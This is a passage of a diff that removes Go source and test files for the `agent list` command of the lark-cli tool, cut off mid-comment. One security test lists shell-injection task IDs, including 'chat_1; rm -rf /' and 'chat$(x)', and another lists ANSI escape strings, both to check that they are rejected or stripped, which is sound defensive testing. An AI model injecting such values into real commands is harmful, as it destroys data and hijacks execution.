-	"github.com/larksuite/cli/internal/output"
-)
-
-// providerInfo describes a registered provider adapter in `agent list` output.
-// Every field is sourced from the registered iagent.Provider (the single
-// source of truth).
-type providerInfo struct {
-	Scheme         string `json:"scheme"`
-	Label          string `json:"label"`
-	AgentRefFormat string `json:"agent_ref_format"`
-	Kind           string `json:"kind"`
-	AgentIDSource  string `json:"agent_id_source"`
-}
-
-// listOptions holds all inputs for `agent list [scheme]`.
-type listOptions struct {
-	Factory *cmdutil.Factory
-	Cmd     *cobra.Command
-	Scheme  string
-	Format  string
-	As      string
-}
-
-// NewCmdAgentList builds `agent list [scheme]`. Without an argument it
-// enumerates the registered provider adapters with their metadata — a
-// pure, API-free listing. With a scheme it performs second-level discovery:
-// catalog providers enumerate offline from their static set; instance providers
-// enumerate via their optional ListAgents hook (absent ⇒ unsupported_capability
-// with the agent_id_source guidance). Risk=read.
-func NewCmdAgentList(f *cmdutil.Factory) *cobra.Command {
-	opts := &listOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "list [scheme]",
-		Short: "List registered agent providers, or enumerate the agents under one provider",
-		Long:  "With no argument, list the built-in provider adapters and their metadata (label / agent_ref format / kind / how to obtain an agent_id) without calling any API. With a scheme, enumerate the agents under that provider (catalog providers must be enumerable; instance providers may not support it).",
-		Args:  maximumArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			if len(args) == 1 {
-				opts.Scheme = args[0]
-			}
-			return agentListRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	// --as only matters for the online `list <scheme>` enumeration (an instance
-	// provider's ListAgents call); the no-scheme provider listing is offline and
-	// identity-independent, so it ignores --as.
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// agentListRun dispatches `agent list [scheme]`: with a scheme it lists that
-// provider's agents (second-level discovery); without it renders the provider
-// listing. JSON envelope is the default; `pretty` is the opt-in human view.
-func agentListRun(opts *listOptions) error {
-	if opts.Scheme != "" {
-		return agentListSchemeRun(opts)
-	}
-
-	f := opts.Factory
-	providers := listProviders()
-
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		fmt.Fprintf(f.IOStreams.Out, "SCHEME\tLABEL\tAGENT_REF_FORMAT\tKIND\n")
-		for _, p := range providers {
-			fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\t%s\n", p.Scheme, p.Label, p.AgentRefFormat, p.Kind)
-		}
-		// agent_id_source is a full sentence — a TSV column would blow out the
-		// row width, so surface it as a per-provider footer instead. This is the
-		// single most important "where do I get an agent_id" cue for newcomers
-		// and must not vanish in the human-readable view.
-		fmt.Fprintln(f.IOStreams.Out)
-		for _, p := range providers {
-			fmt.Fprintf(f.IOStreams.Out, "agent_id 获取（%s）: %s\n", p.Scheme, p.AgentIDSource)
-		}
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:     true,
-		Data:   map[string]interface{}{"providers": providers},
-		Notice: output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// agentListSchemeRun runs `agent list <scheme>`: second-level enumeration for
-// one provider. A catalog provider enumerates OFFLINE from its static set
-// (prov.ListCatalog). An instance provider enumerates ONLINE via its optional
-// ListAgents hook (needs a configured client); an instance provider without that
-// hook is not enumerable and returns unsupported_capability + the AgentIDSource
-// hint — surfaced before the client is built.
-func agentListSchemeRun(opts *listOptions) error {
-	f := opts.Factory
-	prov, ok := iagent.Info(opts.Scheme)
-	if !ok {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 agent provider '%s'，当前支持: %s",
-			opts.Scheme, iagent.KnownSchemes()).
-			WithHint("用 lark-cli agent list 查看可用 provider")
-	}
-
-	var agents []iagent.AgentSummary
-	var identity string // set only on the online (instance) path, which resolves one
-	if prov.Kind() == iagent.KindCatalog {
-		agents = prov.ListCatalog() // offline
-	} else {
-		// instance: needs the online ListAgents hook. Absent ⇒ not enumerable.
-		if prov.ListAgents == nil {
-			return errs.NewValidationError(errs.SubtypeUnsupportedCapability,
-				"provider '%s' 暂不支持列举 agent", opts.Scheme).
-				WithHint("%s", prov.AgentIDSource)
-		}
-		// Enumeration is a real online call with no agent_id, so it runs the same
-		// two gates every ref-addressed online verb runs (via resolveSpec +
-		// preflightScopesForRef): the user|bot identity whitelist and the
-		// all-or-nothing scope preflight — keyed on the scheme since there is no ref.
-		// agentID is empty (enumeration is not scoped to a single agent).
-		id := f.ResolveAs(opts.Cmd.Context(), opts.Cmd, core.Identity(opts.As))
-		if err := f.CheckIdentity(id, supportedIdentities); err != nil {
-			return err
-		}
-		identity = string(id)
-		rt, err := runtimeFor(f, id, "")
-		if err != nil {
-			return err
-		}
-		if err := preflightScopesForScheme(f, id, opts.Scheme); err != nil {
-			return err
-		}
-		agents, err = prov.ListAgents(opts.Cmd.Context(), rt)
-		if err != nil {
-			return err
-		}
-	}
-	if agents == nil {
-		agents = []iagent.AgentSummary{} // always emit [] not null
-	}
-
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		// Name/Description are agent-controlled remote strings — ANSI-strip
-		// them before writing to the terminal.
-		fmt.Fprintf(f.IOStreams.Out, "AGENT_REF\tNAME\tDESCRIPTION\n")
-		for _, a := range agents {
-			fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\n", stripANSI(a.AgentRef), stripANSI(a.Name), stripANSI(a.Description))
-		}
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:       true,
-		Identity: identity, // empty for the offline catalog path (omitempty)
-		Data:     map[string]interface{}{"agents": agents},
-		Meta:     &output.Meta{Count: len(agents)},
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// listProviders builds the provider descriptors from the built-in registry so
-// the listing stays in sync with whatever adapters are registered.
-func listProviders() []providerInfo {
-	schemes := iagent.RegisteredSchemes()
-	out := make([]providerInfo, 0, len(schemes))
-	for _, s := range schemes {
-		// s comes from RegisteredSchemes, so Info always succeeds.
-		prov, _ := iagent.Info(s)
-		out = append(out, providerInfo{
-			Scheme:         s,
-			Label:          prov.Label,
-			AgentRefFormat: prov.AgentRefFormat(),
-			Kind:           string(prov.Kind()),
-			AgentIDSource:  prov.AgentIDSource,
-		})
-	}
-	return out
-}
--- a/cmd/agent/list_test.go
+++ b/cmd/agent/list_test.go
@@ -1,493 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// listFactory returns a Factory writing to a fresh stdout buffer plus a
-// listOptions bound to it, ready to drive agentListRun without any API.
-func listFactory() (*listOptions, *bytes.Buffer) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	return &listOptions{Factory: f, Format: "json"}, out
-}
-
-// decodeProviders unmarshals the envelope on out and returns data.providers.
-func decodeProviders(t *testing.T, out *bytes.Buffer) []interface{} {
-	t.Helper()
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
-	}
-	data, _ := env.Data.(map[string]interface{})
-	providers, _ := data["providers"].([]interface{})
-	return providers
-}
-
-// findProvider returns the provider entry whose scheme matches, or nil.
-func findProvider(providers []interface{}, scheme string) map[string]interface{} {
-	for _, pv := range providers {
-		p, _ := pv.(map[string]interface{})
-		if p["scheme"] == scheme {
-			return p
-		}
-	}
-	return nil
-}
-
-// TestAgentListRun_ProviderFieldsV2 pins the provider entry contract: the
-// example entry carries all fields sourced from iagent.Info (the single source
-// of truth), the legacy free-text description field is gone, and discoverable
-// is no longer exposed.
-func TestAgentListRun_ProviderFieldsV2(t *testing.T) {
-	opts, out := listFactory()
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list should not error: %v", err)
-	}
-	prov, ok := iagent.Info("example")
-	if !ok {
-		t.Fatal("the example provider should already be registered (top-level agent blank import)")
-	}
-	p := findProvider(decodeProviders(t, out), "example")
-	if p == nil {
-		t.Fatalf("list should include the example provider: %s", out.String())
-	}
-	if p["label"] != prov.Label {
-		t.Errorf("label should come from Provider.Label %q, got %v", prov.Label, p["label"])
-	}
-	if p["agent_ref_format"] != prov.AgentRefFormat() {
-		t.Errorf("agent_ref_format should come from Provider.AgentRefFormat() %q, got %v", prov.AgentRefFormat(), p["agent_ref_format"])
-	}
-	if p["kind"] != string(prov.Kind()) {
-		t.Errorf("kind should come from Provider.Kind() %q, got %v", prov.Kind(), p["kind"])
-	}
-	if p["agent_id_source"] != prov.AgentIDSource {
-		t.Errorf("agent_id_source should come from Provider.AgentIDSource, got %v", p["agent_id_source"])
-	}
-	if _, present := p["description"]; present {
-		t.Errorf("the old description field should be removed (double-source with label), got %v", p)
-	}
-	if _, present := p["discoverable"]; present {
-		t.Errorf("the discoverable field should be removed from the provider list, got %v", p["discoverable"])
-	}
-}
-
-// TestAgentListRun_EnvelopeShape verifies the JSON envelope carries
-// data.providers[] with the full field contract.
-func TestAgentListRun_EnvelopeShape(t *testing.T) {
-	opts, out := listFactory()
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-	providers := decodeProviders(t, out)
-	if len(providers) == 0 {
-		t.Fatalf("data.providers should be a non-empty array: %s", out.String())
-	}
-	first, ok := providers[0].(map[string]interface{})
-	if !ok {
-		t.Fatalf("provider entry should be an object, got %T", providers[0])
-	}
-	for _, key := range []string{"scheme", "label", "agent_ref_format", "kind", "agent_id_source"} {
-		if _, present := first[key]; !present {
-			t.Errorf("provider entry missing field %q: %v", key, first)
-		}
-	}
-	if _, present := first["discoverable"]; present {
-		t.Errorf("provider entry should not contain a discoverable field: %v", first)
-	}
-}
-
-// TestAgentListDefaultFormatIsJSON pins the default flip: `agent list`
-// without --format emits the JSON envelope (pretty is opt-in).
-func TestAgentListDefaultFormatIsJSON(t *testing.T) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	cmd := NewCmdAgentList(f)
-	cmd.SetOut(&bytes.Buffer{})
-	cmd.SetErr(&bytes.Buffer{})
-	cmd.SetArgs([]string{})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("agent list should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("default output should be a JSON envelope: %v (%s)", err, out.String())
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-}
-
-// TestAgentListRun_PrettyFormat pins the opt-in --format pretty branch: a header
-// row plus tab-separated provider lines, not a JSON envelope.
-func TestAgentListRun_PrettyFormat(t *testing.T) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	opts := &listOptions{Factory: f, Format: "pretty"}
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list pretty should not error: %v", err)
-	}
-	text := out.String()
-	// A pretty rendering is human text, not a JSON envelope.
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Fatalf("pretty format should not output a JSON envelope: %s", text)
-	}
-	if !strings.HasPrefix(text, "SCHEME") {
-		t.Errorf("pretty output should start with a header row: %s", text)
-	}
-	if !strings.Contains(text, "example") {
-		t.Errorf("pretty output should contain the example provider: %s", text)
-	}
-	if !strings.Contains(text, "example:<agent_id>") {
-		t.Errorf("pretty output should contain the example ref format: %s", text)
-	}
-	// agent_id_source is surfaced as a footer (not a column) so the newcomer's
-	// "where do I get an agent_id" cue does not disappear in the pretty view.
-	if !strings.Contains(text, "agent_id 获取") {
-		t.Errorf("pretty output should contain the agent_id_source footer hint: %s", text)
-	}
-}
-
-// TestAgentListScheme_UnsupportedCapability pins that `agent list fakeflow`
-// on a provider without Discoverer is unsupported_capability (exit 2) with the
-// AgentIDSource text as hint, and — because the probe runs before any client
-// construction — works on an unconfigured Factory.
-func TestAgentListScheme_UnsupportedCapability(t *testing.T) {
-	registerScripted()
-	opts, _ := listFactory()
-	opts.Scheme = "fakeflow"
-	err := agentListRun(opts)
-	if err == nil {
-		t.Fatal("fakeflow does not implement Discoverer, so list fakeflow should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T (%v)", err, err)
-	}
-	if code := output.ExitCodeOf(err); code != output.ExitValidation {
-		t.Fatalf("exit code should be 2, got %d", code)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
-		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
-	}
-	if !strings.Contains(err.Error(), "provider 'fakeflow' 暂不支持列举 agent") {
-		t.Errorf("message should state that listing is not supported, got %q", err.Error())
-	}
-	if !strings.Contains(p.Hint, fakeflowAgentIDSource) {
-		t.Errorf("hint should be the AgentIDSource text, got %q", p.Hint)
-	}
-}
-
-// TestAgentListScheme_UnknownScheme pins that an unregistered scheme is
-// invalid_argument and the message lists the registered schemes.
-func TestAgentListScheme_UnknownScheme(t *testing.T) {
-	opts, _ := listFactory()
-	opts.Scheme = "nosuch"
-	err := agentListRun(opts)
-	if err == nil {
-		t.Fatal("an unknown scheme should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T (%v)", err, err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if !strings.Contains(err.Error(), "nosuch") || !strings.Contains(err.Error(), "example") {
-		t.Errorf("message should contain the unknown scheme and the registered scheme list, got %q", err.Error())
-	}
-	// Hand-written validation errors carry a recovery hint pointing at
-	// `agent list` for provider discovery.
-	if !strings.Contains(p.Hint, "agent list") {
-		t.Errorf("unknown-scheme hint should point to `agent list`, got %q", p.Hint)
-	}
-}
-
-// catSpec builds a catalog AgentSpec with the mandatory core hooks (the list
-// tests only exercise enumeration, never Send/GetTask, but Register requires
-// both non-nil).
-func catSpec(id, name, desc string) iagent.AgentSpec {
-	return iagent.AgentSpec{
-		ID: id, Name: name, Description: desc,
-		Send:    func(context.Context, iagent.Runtime, iagent.SendInput) (*iagent.AgentTask, error) { return nil, nil },
-		GetTask: func(context.Context, iagent.Runtime, string) (*iagent.AgentTask, error) { return nil, nil },
-	}
-}
-
-// registerFakeDisc registers a catalog scheme with two entries. Its enumeration
-// is derived offline from the static Catalog. It leaks into the package-level
-// registry for the rest of this package run.
-func registerFakeDisc() {
-	iagent.Register(iagent.Provider{
-		Scheme:        "fakedisc",
-		Label:         "test fake (catalog)",
-		AgentIDSource: "test only",
-		Identities:    []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
-		Catalog: []iagent.AgentSpec{
-			catSpec("a1", "Agent One", "第一个"),
-			catSpec("a2", "Agent Two", ""),
-		},
-	})
-}
-
-// TestAgentListScheme_CatalogListsAgents pins the catalog positive path: a
-// catalog provider enumerates its static entries offline into
-// {agents:[AgentSummary...]} + meta.count (sorted by AgentRef).
-func TestAgentListScheme_CatalogListsAgents(t *testing.T) {
-	registerFakeDisc()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := &cobra.Command{Use: "list"}
-	cmd.SetContext(context.Background())
-	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedisc"}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list fakedisc should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	agents, ok := data["agents"].([]interface{})
-	if !ok || len(agents) != 2 {
-		t.Fatalf("data.agents should have 2 entries, got %v", data["agents"])
-	}
-	first, _ := agents[0].(map[string]interface{})
-	if first["agent_ref"] != "fakedisc:a1" || first["name"] != "Agent One" {
-		t.Errorf("agents[0] should be an AgentSummary {agent_ref, name}, got %v", first)
-	}
-	if env.Meta == nil || env.Meta.Count != 2 {
-		t.Errorf("meta.count should be 2, got %+v", env.Meta)
-	}
-}
-
-// TestAgentListScheme_InstanceListAgentsOnline pins the instance online path: an
-// instance provider that wires the optional ListAgents hook enumerates via it,
-// and the hook receives an identity-pinned runtime (not nil).
-func TestAgentListScheme_InstanceListAgentsOnline(t *testing.T) {
-	var gotRT iagent.Runtime
-	spec := catSpec("", "", "")
-	iagent.Register(iagent.Provider{
-		Scheme:        "fakelive",
-		Label:         "test fake (instance live-enum)",
-		AgentIDSource: "test only",
-		Identities:    []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-		Instance:      &spec,
-		ListAgents: func(_ context.Context, rt iagent.Runtime) ([]iagent.AgentSummary, error) {
-			gotRT = rt
-			return []iagent.AgentSummary{{AgentRef: "fakelive:x", Name: "Live X"}}, nil
-		},
-	})
-
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := &cobra.Command{Use: "list"}
-	cmd.Flags().String("as", "", "identity")
-	cmd.SetContext(context.Background())
-	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakelive"}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list fakelive should not error: %v", err)
-	}
-	if gotRT == nil {
-		t.Error("the ListAgents hook should receive a non-nil identity-pinned runtime")
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if agents, _ := data["agents"].([]interface{}); len(agents) != 1 {
-		t.Fatalf("data.agents should have 1 entry, got %v", data["agents"])
-	}
-}
-
-// TestAgentListScheme_OnlineRunsScopePreflight pins #8: the online enumeration
-// path now runs the same all-or-nothing scope preflight every other online verb
-// runs. An instance provider with RequiredScopes, driven by a user whose token
-// lacks them, fails fast with missing_scope (exit 3) BEFORE ListAgents is called.
-func TestAgentListScheme_OnlineRunsScopePreflight(t *testing.T) {
-	called := false
-	spec := catSpec("", "", "")
-	iagent.Register(iagent.Provider{
-		Scheme:         "fakescopelive",
-		Label:          "test fake (scoped live-enum)",
-		AgentIDSource:  "test only",
-		RequiredScopes: []string{"live:read"},
-		Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
-		Instance:       &spec,
-		ListAgents: func(context.Context, iagent.Runtime) ([]iagent.AgentSummary, error) {
-			called = true
-			return nil, nil
-		},
-	})
-	// The stored user token holds an unrelated scope (non-empty so the preflight
-	// actually runs) but not the required one.
-	swapStoredScopes(t, []string{"unrelated:scope"})
-
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "user"), Format: "json", Scheme: "fakescopelive", As: "user"}
-
-	err := agentListRun(opts)
-	if err == nil {
-		t.Fatal("listing as a user missing the required scope should fail with missing_scope")
-	}
-	if code := output.ExitCodeOf(err); code != 3 {
-		t.Fatalf("missing scope should be exit 3, got %d (%v)", code, err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeMissingScope {
-		t.Fatalf("subtype should be missing_scope, got %+v", p)
-	}
-	if called {
-		t.Error("ListAgents must NOT be called when the scope preflight fails")
-	}
-}
-
-// TestAgentListScheme_OnlineChecksIdentity pins #8: the online enumeration path
-// enforces the user|bot identity whitelist. An explicitly unsupported --as is
-// rejected as a validation error before the online ListAgents call.
-func TestAgentListScheme_OnlineChecksIdentity(t *testing.T) {
-	called := false
-	spec := catSpec("", "", "")
-	iagent.Register(iagent.Provider{
-		Scheme:        "fakelivewl",
-		Label:         "test fake (identity-whitelist live-enum)",
-		AgentIDSource: "test only",
-		Identities:    []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-		Instance:      &spec,
-		ListAgents: func(context.Context, iagent.Runtime) ([]iagent.AgentSummary, error) {
-			called = true
-			return nil, nil
-		},
-	})
-
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "admin"), Format: "json", Scheme: "fakelivewl", As: "admin"}
-
-	err := agentListRun(opts)
-	if err == nil {
-		t.Fatal("an unsupported identity should be rejected before the online call")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("unsupported identity should be a validation error, got %T (%v)", err, err)
-	}
-	if called {
-		t.Error("ListAgents must NOT be called when the identity whitelist fails")
-	}
-}
-
-// TestAgentListScheme_PrettyStripsANSI pins that `agent list <scheme> --format
-// pretty` strips ANSI escapes from agent-controlled Name/Description (here from
-// static catalog entries) before they reach the terminal.
-func TestAgentListScheme_PrettyStripsANSI(t *testing.T) {
-	iagent.Register(iagent.Provider{
-		Scheme:        "fakedirty",
-		Label:         "test fake (dirty names)",
-		AgentIDSource: "test only",
-		Identities:    []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
-		Catalog:       []iagent.AgentSpec{catSpec("a1", "\x1b[31mEvil\x1b[0m One", "d\x1b[2Jesc")},
-	})
-
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := &cobra.Command{Use: "list"}
-	cmd.SetContext(context.Background())
-	opts := &listOptions{Factory: f, Cmd: cmd, Format: "pretty", Scheme: "fakedirty"}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list fakedirty pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in agent Name/Description must be stripped: %q", text)
-	}
-	if !strings.Contains(text, "Evil One") || !strings.Contains(text, "desc") {
-		t.Errorf("readable text should remain after stripping, got %q", text)
-	}
-}
-
-// TestAgentListJqFlagRegisteredAndConsumed pins the quality-review fix: the
-// --jq flag must be registered on `agent list` and filter the envelope.
-func TestAgentListJqFlagRegisteredAndConsumed(t *testing.T) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	cmd := NewCmdAgentList(f)
-	cmd.SetOut(&bytes.Buffer{})
-	cmd.SetErr(&bytes.Buffer{})
-	cmd.SetContext(context.Background())
-	cmd.SetArgs([]string{"--jq", ".ok"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("agent list --jq should not error: %v", err)
-	}
-	if got := strings.TrimSpace(out.String()); got != "true" {
-		t.Errorf("--jq .ok should output only true, got %q", got)
-	}
-}
-
-// TestNewCmdAgentList_ReadRisk pins the read risk annotation, the json default
-// of --format, the --jq flag presence, and that list takes at most one
-// positional arg (the scheme).
-func TestNewCmdAgentList_ReadRisk(t *testing.T) {
-	cmd := NewCmdAgentList(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("agent list should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	fl := cmd.Flags().Lookup("format")
-	if fl == nil {
-		t.Fatal("agent list should have a --format flag")
-	}
-	if fl.DefValue != "json" {
-		t.Errorf("--format default should flip to json, got %q", fl.DefValue)
-	}
-	if cmd.Flags().Lookup("jq") == nil {
-		t.Error("agent list should have a --jq flag")
-	}
-	if cmd.Flags().Lookup("as") == nil {
-		t.Error("agent list should register an --as flag (needed to pick the identity for online enumeration)")
-	}
-	if err := cmd.Args(cmd, []string{}); err != nil {
-		t.Errorf("agent list with no args should be valid: %v", err)
-	}
-	if err := cmd.Args(cmd, []string{"example"}); err != nil {
-		t.Errorf("agent list <scheme> should be valid: %v", err)
-	}
-	if err := cmd.Args(cmd, []string{"example", "extra"}); err == nil {
-		t.Error("agent list with more than 1 positional argument should error (MaximumNArgs 1)")
-	}
-}
--- a/cmd/agent/next_contract_test.go
+++ b/cmd/agent/next_contract_test.go
@@ -1,218 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"strings"
-	"testing"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-)
-
-// allTaskStates is the full 9-state A2A enum (internal/agent/state.go), so the
-// contract test automatically covers any future nextForTask branch keyed on a
-// state instead of relying on hand-picked samples.
-var allTaskStates = []iagent.TaskState{
-	iagent.StateSubmitted,
-	iagent.StateWorking,
-	iagent.StateInputRequired,
-	iagent.StateAuthRequired,
-	iagent.StateCompleted,
-	iagent.StateFailed,
-	iagent.StateCanceled,
-	iagent.StateRejected,
-	iagent.StateUnknown,
-}
-
-// TestNextForTaskCommandsParseAgainstRealTree is the meta.next contract test:
-// every next command emitted by nextForTask — across all 9 task states, with
-// and without a context id, template hints included (their <...> placeholders
-// are single space-free tokens, so they parse as ordinary flag values) — must
-// traverse and flag-parse against the real agent command tree. meta.next is
-// defined as "AI executes this verbatim", so a next that references a
-// nonexistent flag (e.g. --wait on task get) is a broken contract, caught here
-// at build time instead of by a failing acceptance run.
-func TestNextForTaskCommandsParseAgainstRealTree(t *testing.T) {
-	// GIVEN: the real agent subtree (nil Factory: construction-time only, no
-	// credentials; all meta.next commands live under `lark-cli agent ...`).
-	agentTree := NewCmdAgent(nil)
-
-	for _, state := range allTaskStates {
-		for _, ctxID := range []string{"", "conversation_1"} {
-			task := &iagent.AgentTask{
-				TaskID:     "chat_1",
-				ContextID:  ctxID,
-				State:      state,
-				IsTerminal: state.IsTerminal(),
-			}
-			next := nextForTask("example:agent_x", task)
-			if len(next) == 0 {
-				t.Fatalf("state %s (ctx %q): legit task must produce next hints", state, ctxID)
-			}
-			for _, n := range next {
-				if state == iagent.StateAuthRequired {
-					// auth_required is an agent-side task state whose next step is
-					// the auth (re-authorize) flow, so it legitimately points OUT
-					// of the agent subtree and is not traversable against
-					// agentTree; assert its shape and skip the agent traversal.
-					if !strings.HasPrefix(n.Command, "lark-cli auth login") || !strings.Contains(n.Command, "--scope") {
-						t.Fatalf("auth_required next should point to auth login --scope, got %q", n.Command)
-					}
-					continue
-				}
-				if !strings.HasPrefix(n.Command, "lark-cli agent ") {
-					t.Fatalf("next %q must target the agent subtree", n.Command)
-				}
-				// WHEN: the command string is parsed against the real tree.
-				argv := strings.Fields(strings.TrimPrefix(n.Command, "lark-cli agent "))
-				c, flags, err := agentTree.Traverse(argv)
-				// THEN: it traverses to a leaf and its flags all exist.
-				if err != nil {
-					t.Fatalf("state %s (ctx %q): next %q not traversable: %v", state, ctxID, n.Command, err)
-				}
-				if c == agentTree {
-					t.Fatalf("state %s (ctx %q): next %q did not reach a subcommand", state, ctxID, n.Command)
-				}
-				if err := c.ParseFlags(flags); err != nil {
-					t.Fatalf("state %s (ctx %q): next %q flags invalid: %v", state, ctxID, n.Command, err)
-				}
-			}
-		}
-	}
-}
-
-// TestNextForTaskRejectsInjectionIDs pins the security whitelist: a
-// server-supplied task_id that is not pure [A-Za-z0-9_-] must suppress the
-// whole next entry (omit rather than risk injection), in every state —
-// meta.next commands are executed verbatim by AI callers, so shell
-// metacharacters in an interpolated id are command injection.
-func TestNextForTaskRejectsInjectionIDs(t *testing.T) {
-	for _, bad := range []string{"chat_1; rm -rf /", "chat `x`", "chat 1", `chat"1"`, "chat$(x)", "chat|x"} {
-		for _, state := range allTaskStates {
-			task := &iagent.AgentTask{TaskID: bad, State: state}
-			if next := nextForTask("example:agent_x", task); len(next) != 0 {
-				t.Fatalf("injection task_id %q (state %s) must suppress next, got %+v", bad, state, next)
-			}
-		}
-	}
-}
-
-// TestNextForTaskRejectsUnsafeRef pins the ref whitelist:
